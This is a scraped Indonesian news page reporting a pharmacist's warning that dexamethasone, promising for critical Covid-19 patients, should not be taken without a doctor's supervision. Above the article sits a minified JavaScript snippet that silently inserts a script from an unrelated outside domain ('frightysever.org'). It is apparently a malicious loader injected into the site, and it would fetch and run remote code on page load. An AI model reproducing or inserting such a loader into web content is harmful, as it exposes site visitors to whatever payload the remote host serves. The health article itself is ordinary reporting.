(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kesehatan

AWAS. Deksametason Obat Berbahaya! Digunakan Harus dengan Pengawasan dan Saran Dokter


KANALKALIMANTAN.COM, BANJARBARU – Salah satu obat kortikosteroid yang banyak beredar di masyarakat, yaitu deksametason. Deksametason termasuk ke dalam kelompok glukokortikoid sintetik yang memiliki efek anti inflamasi dan imunosupresif. Obat ini mendorong semakin dikembangkannya berbagai steroid sintetik dengan aktivitas anti inflamasi dan imunosupresif.

Glukokortikoid memiliki efek dalam semua sistem di dalam tubuh. Seperti efek metabolisme bagi tubuh, efek terhadap fungsi peradangan dan sistem imun, efek terhadap musculoskeletal dan jaringan ikat. Termasuk juga efek neuropsychiatric, efek terhadap saluran Gastrointestinal, efek terhadap pertumbuhan, dan efek terhadap paru-paru.

WHO baru saja merilis pernyataan bahwa deksametason adalah obat yang menjanjikan dalam pengobatan pasien covid-19 yang kritis.Manfaat hanya terlihat pada pasien sakit parah dengan Covid-19, dan tidak diamati pada pasien dengan gejala ringan.

Baca: WHO: Hasil Awal Penggunaan Deksametason Obati Pasien Covid-19 Kritis Cukup Menjanjikan

Terkait hal ini, apt Dyan Fitri Nugraha MSi yang karib disapa Arin, seorang ahli farmasi menyampaikan bahwa deksametason juga digunakan untuk pengobatan nyeri.

apt. Dyan Fitri Nugraha MSi. //Foto: IG @rinnugraha

“Setahu saya yang dilakukan para ahli di Universitas Oxford Inggris dosisnya selalu dipantau, saya tidak melihat clinical trial (uji klinis)juga belum menemukan literasi mengenai safety aplikasinya. Namun mengingat tingkat keparahan pasien hal tersebut sah-sah saja untuk dilakukan.” ujarnya.

Lebih lanjut Arin, yang juga seorang jurnalis dan mantan anchor berita Kompas TV ini menyatakan, bahwa kemungkinan pemberian deksametason kepada pasien covid-19 dikarenakan pasien mengalami pembengkakan paru. “Kan paru-paru bengkak, jadi kemungkinan dengan pemberian deksametason gunanya untuk mengurangi pembengkakan dan inflamasi (peradangan),” imbuh Arin.

Deksametason adalah obat dengan harga terjangkau, namun Arin menegaskan kepada masyarakat untuk tidak menggunakan secara mandiri deksametason bagi penderita covid-19.

Uji coba yang dilakukan di Universitas Oxford Inggris belum tentu bisa diterapkan di Indonesia karena perlu data kuat sebelum memberikan deksametason kepada pasien seperti, riwayat kesehatan, ras, dan kondisi medis lainnya.(kanalkalimantan.com/andy)

Reporter : Andy
Editor : Chell

Desy Arfianty

Recent Posts

Bupati Kapuas Trail Adventure 3 Segera Hadir, Meriahkan Hari Jadi ke-219 Kota Kuala Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Para pecinta adventure dengan menggunakan motor trail boleh bergembira. Pasalnya, Kapuas… Read More

11 jam ago

DPRD Kapuas Rapat Paripurna Pemandangan Fraksi Terkait Pemekaran Kecamatan

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat paripurna ke… Read More

12 jam ago

Pasca PSU,  Emi Lasari: Lapang Dada, Kembali Bersatu Membangun Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Pasca gelaran Pemungutan Suara Ulang (PSU) Pemilihan Wali Kota dan Wakil Wali… Read More

12 jam ago

Harapan Besar Wakil Rakyat di Momentum Hari Jadi ke-26 Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Harapan disampaikan wakil rakyat yang duduk DPRD Kota Banjarbaru dalam momen peringatan… Read More

14 jam ago

Tim Hanyar Banjarbaru Ajukan Pembatalan Hasil PSU ke MK

KANALKALIMANTAN.COM, BANJARBARU - Tak sampai tiga hari setelah Komisi Pemilihan Umum (KPU) Kalimantan Selatan (Kalsel)… Read More

14 jam ago

Rakor dan FGD Stunting, Wabup Tegaskan Komitmen Fokus Cegah Stunting di HSU

KANALKALIMANTAN.COM, AMUNTAI - Wakil Bupati (Wabup) Hulu Sungai Utara (HSU) Hero Setiawan menegaskan komitmen bersama… Read More

15 jam ago